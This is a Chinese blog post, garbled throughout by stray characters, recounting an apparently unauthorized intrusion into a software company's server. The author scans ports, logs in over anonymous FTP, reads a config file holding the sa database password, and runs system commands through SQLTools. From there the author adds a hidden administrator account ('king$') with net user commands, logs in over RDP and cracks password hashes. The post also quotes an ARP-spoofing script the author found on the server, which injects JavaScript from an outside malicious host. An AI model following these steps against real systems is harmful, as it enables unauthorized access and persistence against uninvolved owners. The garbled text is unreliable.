对某软件公司的一次安全检测

T#p8row,e17240487一、安全检查原因

朋友需要购买一套学校OA系统，通过网络进行产品的查询，后面找到一家专门提供这种系统的公司，找到后把该公司的地址发给我，让我们给看看，评价一下系统如何，如果可以就打算定制一套。

Z]\)TE.W3F3m17240487在浏览器中打开网站地址“http://www.i****.net/products/case.asp”，如图1所示，从该公司产品中可以看到有许多网站类产品。

v)oy@4B17240487

图1 查看公司软件产品

二、完全正式检测

Yq o7w^;v172404871.信息收集

%R9D9\&Wj17240487本次渗透换了一个查询域名等信息的网站http://www.ip866.com，在“IP/域名”中输入公司的域名地址“i****.net”，然后单击“查询详情”按钮查看该域名的有关情况，如图2所示，获取了该公司官方网站IP地址为“218.16.*.*”。IXPUB技术博客+L5ykJ:E/A7A

M9fizHHW17240487

图1图2获取该公司官方网站服务器IP地址

dS8NtF3P3y sI172404872.获取绑定域名信息IXPUB技术博客pe%_@9N

在IP866.com网站上单击“反查域名”，单击“点这里反查全部相关域名”获取该服务器绑定的其它域名地址，如图3所示。

f ].b4p?F4N
|17240487

图3 反查域名信息

3Cg"dUp.}172404873.查看网站信息

9y7])@)?W4wG(u)Z17240487在反查域名信息列表中单击网站名称，可以打开选中的网站，在查看反查出来的结果中发现有的网站已经被列入非名单，如图4所示，通过Firefox安全插件得知该网站已经被人攻击过，很有可能被人挂马了。IXPUB技术博客)wow~(A|'R

sf5p0Mi,H5H*qK17240487

图4 通过Firefox安全插件获取网站安全情况

%cSmpBy172404874.获取端口开放情况

使用sfind扫描获取的ip地址，从扫描的结果来看，服务器开放了21、80、1433、3389端口，如图5所示。从获取的信息来判断，服务器的安全不是做的特别严格的那种，安全做的严格的服务器对外开放的端口非常少，有的仅仅开放80端口。

6J1{[+kb
Q"E^17240487

图5 获取端口开放情况

)SCb#l"l(HRD[172404875.弱口令扫描IXPUB技术博客3M tvzb7@:PPZ

在进行安全检测时，可以先对程序检测，也可以先对一些弱口令进行扫描。由于能够查看3389以及1433端口，因此先对Ftp、MSSQL口令进行扫描，然后再对网站进行安全检测。Ftp、MSSQL口令扫描结束后，发现该服务器有一个弱口令，用户名为ftp，口令为空。IXPUB技术博客r1f x6M` [
BI8G

6.使用Cuteftp软件进行登录尝试

先新建一个站点，在Label中输入一个标识，在“Host address”中输入服务器IP地址以及获取的用户名ftp，密码为空，在login method中选择“Anonymous”即匿名登录。IXPUB技术博客K a;I ? |$E]

b'?u N+QL17240487

图6 配置ftp软件

连接成功后，如图7所示，从Cuteftp软件中可以查看到一些asp文件，在Ftp根目录中可以看到有conn.asp、config.asp以及index.asp，将其下载到本地。

?_'a0Ks-Q;C~'\17240487

图7 下载获取的Ftp服务器目录下的文件

i"DP C&u)u172404877.查看代码文件IXPUB技术博客!}'\$eG[%N-SI0|)R

O@4S
S,[17240487使用UE编辑器查看下载的conn.asp文件，如图8所示，其中数据库使用的是Mssql，截取其中部分关键代码进行分析：

IXPUB技术博客|	u1Y}2ew$}2r_8UF
Const SystemDatabaseType = "SQL"   IXPUB技术博客 hj(LJit ?
Const DBFileName = "\database\RCSchool.mdb"   IXPUB技术博客N+TLDP)q$J
Const SqlUsername = "sa"         IXPUB技术博客*T(E-c}0[z5RP
Const SqlPassword = "sh******"        IXPUB技术博客]w
sDL
Const SqlDatabaseName = "RCSchool"    
h,]wqR/p5S17240487Const SqlHostIP = "(local)"              IXPUB技术博客d4r6Bg^(L;M^&w-k.f
SystemDatabaseType = "SQL"表明系统是使用Mysql数据库，

t`
mO|b,I17240487IXPUB技术博客ULa,G{vK9r@,A
SqlUsername = "sa"表明该系统是使用最高权限角色用户sa，IXPUB技术博客(]9d*f
\a T4d*d1Y
AE8Yn
~-e
a(t17240487SqlPassword = "sh******"告诉数据的密码是 ，IXPUB技术博客Ge"kyUtE
B'S?%R&Upj\zI17240487“sh******”SqlDatabaseName = "RCSchool"告诉我们数据库的名称为“RCSchool”。
 B:d;Y/F f6J%u\3I
Id17240487

图8 获取conn.asp文件中有关数据库相关信息

1qeIy \#_2}5kwa"I17240487从获取的信息来看至少有三种方式进行渗透：

第一种是使用sqltools进行连接，然后直接执行命令、上传文件等操作，如果该方法不行，则可以尝试第二种。IXPUB技术博客 IF*a)b-kc4l&t
第二种是在本地通过sql Server企业服务器注册该数据库服务器，然后像在本地管理数据库一样来管理该数据库。IXPUB技术博客M1plD"]9z?:{M
第三种是上传一个数据库webshell或者直接上传一个其它webshell。

Y(rw p7ieq172404878.获取网站域名信息IXPUB技术博客)j1L2`4D6[Lo+t

Config文件一般是网站的配置文件，通过查看config.asp文件，知道该网站的域名地址，如图9所示。IXPUB技术博客 Hn {ZG-n?4o

图9获取网站域名地址

n2]Zp@S+@7Z.\172404879.上传webshell进行尝试IXPUB技术博客wQqO [:d.|5u%a

使用cuteftp上传asp.net木马vip.aspx，先测试一个文件，如图10所示，在网站中输入一个已经存在的文本文件“采集错误修改.txt”，网页显示为“无法找到该页”，表明上传文件不在当前网站目录。看来此法不通。IXPUB技术博客,v^U%x1rYy

图10 无法查看上传文件

!BF4mE\7k!tj2d1724048710.设置“SQLTools”

"v,AjS@Oc#k Z
x sp17240487在本地直接运行SQLTools程序，如图11所示，在“服务器名称/IP”中输入服务器的IP地址，用户名输入“sa”，密码输入从conn.asp文件获取的密码“sh******”，然后单击“确定”，进行连接。

图11 设置SQL服务器

2Y8yq2pU@-K17240487

图12连接SQL Server成功

11.执行命令测试

在“SQL综合利用工具”中选择“执行DOS命令”，在其中执行“net localgroup administrators”命令来查看具有管理员权限的用户组，如图13所示，在该计算机中一共有3个具有管理员权限的用户。IXPUB技术博客GR~2@/d(p

i+aH|(TPe"j17240487

图13 查看管理员用户组

8m7{$R!SynF@`G)Z1724048712.添加新用户

分别执行“net user king$ ****** /add”命令，将king$用户添加到系统中，并使用“net localgroup administrators king$ /add”命令将king$用户添加到管理员组中，如图14，图15所示。IXPUB技术博客&?&gP7uWKa

"LyN0M|j9B17240487

图14 添加king$用户到系统中

IXPUB技术博客8u S/C#zI2R(E8R;na*I!C
IXPUB技术博客E ImL2cd+a

图15将king$添加到管理员组

;Kw2?"wN17240487IXPUB技术博客%h?*^iky
13.再次查看管理员组IXPUB技术博客h+z7Z0y/U8B8V;o

使用“net localgroup administrators”命令来查看系统中具有管理员权限的用户，如图16所示。IXPUB技术博客3y#]JFe4Y-L;e

i7|~ |c `K!]!M17240487

图16 查看具有管理员权限用户

R4n'GV4H G6Fme"X1724048714.登录3389

打开3389登录器，在其中输入刚才添加到用户king$和密码，如图17所示，然后单击“连接”按钮进行3389登录尝试。

图17进行3389登录尝试

15.成功进入系统IXPUB技术博客J*Kb2m v

如图18所示，进入系统后输入“ipconfig /all”命令查看该计算机IP地址配置信息。IXPUB技术博客s"v#I}9_;]*n$N

图18查看网络配置情况

16.查看网站配置情况

%]7XKQt+k'M2Dz17240487单击“开始”-“程序”-“控制面板”-“管理工具”-“IIS信息服务”，打开IIS信息服务管理器，如图19所示，一共有16个站点，这些站点大部分是asp语言编写的，都是以源代码形式保存在系统中的。IXPUB技术博客8E&W L vI!H-{v
W

图19找到网站

三．系统查看

!cy F&p7l[N |17240487到此，已经顺利进入系统，下面就是对系统的一些配置、漏洞以及木马等情况进行查看。

1.使用“瑞星卡卡上网安全助手”查看系统补丁更新情况

在该系统中安装了“瑞星卡卡上网安全助手”软件，通过“瑞星卡卡上网安全助手”可以直接扫描系统中存在的漏洞情况，如图20所示，扫描到12个系统漏洞，单击“修复”按钮立即下载补丁并修复系统存在的漏洞。IXPUB技术博客._K VM8KH

pl!Mf
p}c17240487

图20查找系统漏洞并修复

2.找到系统arp挂马代码

oB/h QWNB9I&` o
L17240487在系统wmpub目录中发现大量的可执行文件和批处理，直接查看crss.bat脚本文件，如图21所示，其代码如下：

gfJLRU0s:t-Do17240487smss.exe -idx 0 -ip 221.5.250.2-221.5.250.130 -port 80 -insert "
.D	k abV"Q17240487IXPUB技术博客Ck[2l$b_}8T#Y
< SCRIPT. language=javascript. src="
u&@jF A@,{17240487IXPUB技术博客k_j
Tj/thgQ5g
(A href=’http://www.forklift-shuangli.com/ccwu/admin/up/flash.js")IXPUB技术博客}Q&R[!Q |N.C-n
G$u0m"t!SY1r17240487%20(%20/%20script’) http://www.forklift-shuangli.com/ccwu/admin/up/flash.js">
 s"ff}0mf#d)U17240487IXPUB技术博客,ekk:{2?$O
< / SCRIPT. < A > > " -spoofmode 2IXPUB技术博客.Ga yjN2At

该代码为典型的流量劫持，将访问221.5.250.2-221.5.250.130网段的80端口全部转向到“http://www.forklift-shuangli.com/ccwu/admin/up/flash.js”地址，该地址明显为木马地址。IXPUB技术博客m)gW:PQ B_#q9om

图21找到arp挂马代码

3.使用autoruns软件查看系统服务等情况

(e2U.iJj&|17240487使用autoruns软件查看系统的服务等运行情况，在其中可以看到有灰鸽子服务，直接删除其中的一些木马程序和可疑程序，如图22所示。

图22 找到灰鸽子服务

4.使用360安全卫士进行安全加固IXPUB技术博客C3y-q[&QR

下载360安全卫士最新版本，运行360安全卫士，使用其来查杀系统中的木马等病毒，如图23所示，在安装时就检测出3个病毒文件，安装完毕后，查杀系统中的恶意插件以及病毒。IXPUB技术博客*c({2oQ;J

图23使用360卫士查杀病毒

B*x/Hk
m.c.^17240487四、总结与收获IXPUB技术博客V8k/@Ys p4L&EZ

本次检测使用的是一些比较简单的技术，弱口令扫描，然后就是利用“SQL综合利用工具”直接连接数据库，通过添加用户直接登录3389，进而全面控制系统。在系统中发现了包括灰鸽子在内的多个木马程序，其中还有arp挂马程序，后面通过获取系统密码hash，通过导入lc5破解，发现该系统的密码就是数据库sa所对应的密码，如图24所示，如果在最初使用这个密码尝试一下，会更快的进入系统，这就是社会工程学的厉害之处。

图24 使用lc5破解系统密码

在文章结束时，对该服务器重新进行连接，发现添加到用户已经被删除，ftp也设置密码，但是通过sqltools仍然可以连接进入系统。IXPUB技术博客@ S-LhOu.@

2